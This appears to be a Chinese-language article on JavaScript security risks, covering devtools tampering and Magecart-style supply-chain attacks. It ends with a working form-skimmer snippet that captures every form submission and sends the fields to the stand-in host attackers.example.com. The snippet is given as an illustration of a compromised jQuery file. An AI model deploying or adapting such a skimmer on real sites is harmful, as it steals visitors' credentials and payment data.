编写安全 JavaScript 代码的最佳实践

JavaScript 的动态特性使其成为事实上的浏览器语言和世界上最流行的编程语言。

JS 最受欢迎的有用功能之一是即时分析。这意味着浏览器在下载内容的同时执行代码，这显然有其优势。然而，这种程度的自由也伴随着问题。

通过我们的最佳实践和提示了解有关 JavaScript 安全风险的更多信息，并了解如何保护自己免受 JavaScript 风险的安全政策。

浏览器是如何工作的

想象一下浏览器所需的所有步骤。首先，我们需要下载页面并开始解析。浏览器不会等待所有内容下载完毕。我们可以同时下载和解析页面。

JavaScript 会阻塞渲染，这在运行时有很大的优势。这意味着浏览器停止解析，首先执行 JavaScript，然后继续，这提供了使用这种编程语言的灵活性，并使代码具有多种可能性。

JavaScript 的风险

1. 调试与操作

OWASP 的应用程序安全指南强调了逆向工程和应用程序源代码操纵所带来的威胁，特别是对于处理敏感数据或执行关键操作的应用程序。

基于 JavaScript 的应用程序就是这种情况，其中这些风险可以通过各种攻击的形式被利用，例如： B. 知识产权盗窃、自动滥用、黑客攻击和数据泄露。

由于 NIST 和 ISO 27001 等法规和标准也提到了未受保护的源代码的风险，因此他们建议组织实施严格的控制程序，以防止其遭受可能的攻击的后果。

为了说明这些风险，请考虑以下代码片段：

<div id="hack-target"></div>
<button>Set Value</button>

<script>
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;
    }
</script>

这在 HTML 中声明了一个目标。当点击按钮时，会触发回调。

使用客户端 JavaScript，我们可以在设置值的位置设置断点。当事件被触发时，恰好到达该断点。

var value = '2’指定的值；可以随意改变。调试器停止执行并允许人们修改页面。此功能在调试期间非常有用。

当调试器停止执行时，它具有“中断执行”的能力。甚至页面渲染。

调试是浏览器工具的一部分，因此每个人都可以访问它。

在这里插入图片描述
我们知道这个功能对于调试 JavaScript 非常有用，但是它会对 JavaScript 代码的安全性产生什么影响呢？

正如任何人都可以将调试工具用于合法目的一样，攻击者也可以使用此功能在运行时修改 JavaScript。攻击者可以命中断点、修改 DOM 并将任意 JavaScript 注入控制台。

此类攻击可用于利用客户端漏洞。攻击者可以修改数据、劫持会话并对页面的 JavaScript 进行任意更改，从而损害原始代码的安全性。

攻击者可以直接修改代码、动态改变内存内容、修改或替换应用程序使用的系统API，甚至修改数据和应用程序资源。这可能为攻击者提供直接机会，破坏软件的预期用途以获取个人或经济利益。

例如，如果 Web 开发人员工具打开，任何人都可以转到“控制台”选项卡并键入：

document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});

2. 数据泄露和其他客户端攻击

除了攻击者针对 JavaScript 源代码本身的安全风险外，我们还必须考虑在浏览器中任意执行 JavaScript 的危险。

我们发现网络供应链攻击（例如 Magecart 攻击）不断增加，这些攻击会淹没网络并利用客户端窃取数据。为了正确理解这一点，请看以下示例。

假设我们的 CDN 和 Web 集成站点上的 jQuery 脚本以某种方式受到损害，它将被更改。

```js
! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.example.com/?" + d.substring(1), !0
        })
    })
}();